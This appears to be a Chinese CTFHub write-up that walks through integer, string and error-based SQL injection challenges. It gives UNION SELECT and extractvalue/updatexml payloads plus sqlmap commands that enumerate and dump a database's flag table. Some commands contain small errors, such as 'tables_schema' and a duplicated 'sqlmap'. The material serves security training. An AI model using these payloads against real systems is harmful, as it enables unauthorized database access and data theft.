0x01整数型注入
# 本题告诉我们是整数型,所以就很容易了
# 判断字段数量
1 order by 2
# 判断回显点
-1 union select 1,2
# 查询全部数据库名
-1 union select 1,group_concat(schema_name) from information_schema.schemata
# 判断数据库中的表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema ='sqli'
# 查看表中的字段名
-1 union select 1,group_concat(column_name) from information_schema.columns where tables_schema='sqli' and table_name='flag'
# 查看数据库下的所有数据
0x02字符型注入
此题目和上一题相似,一个是整数型注入,一个是字符型注入。字符型注入就是注入字符串参数,判断回显是否存在注入漏洞。因为上一题使用手工注入查看题目 flag ,这里就不在使用手工注入,而是使用 sqlmap 工具完成此题 。
# 查询数据库名
python3 sqlmap.py sqlmap -u "http://challenge-7a6a693ab4712704.sandbox.ctfhub.com:10800?id=1" -dbs --batch
# 查询数据库中的表
python3 sqlmap.py sqlmap -u "http://challenge-7a6a693ab4712704.sandbox.ctfhub.com:10800?id=1" -dbs --batch -D sqli --tables
# 查询数据库表中的字段
python3 sqlmap.py sqlmap -u "http://challenge-7a6a693ab4712704.sandbox.ctfhub.com:10800?id=1" -dbs --batch -T flag --columns
# 查询flag中的所有数据
python3 sqlmap.py sqlmap -u "http://challenge-7a6a693ab4712704.sandbox.ctfhub.com:10800?id=1" -dbs --batch -T flag --dump
0x03报错注入
# 查看数据库名
1 union select updatexml(1,concat(0x7e,database(),0x7e),1);
# 查询数据库中的表名
1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),0x7e))--
# 查询表中的字段名
1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))--
# 查询表中的所有数据
1 and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))--
# 发现falg不完整,那么我们跳过第一个字符,然后输出全部
1 and extractvalue(1,concat(0x7e,mid((select flag from flag),2),0x7e))--
好小子,离成功又近一步!!!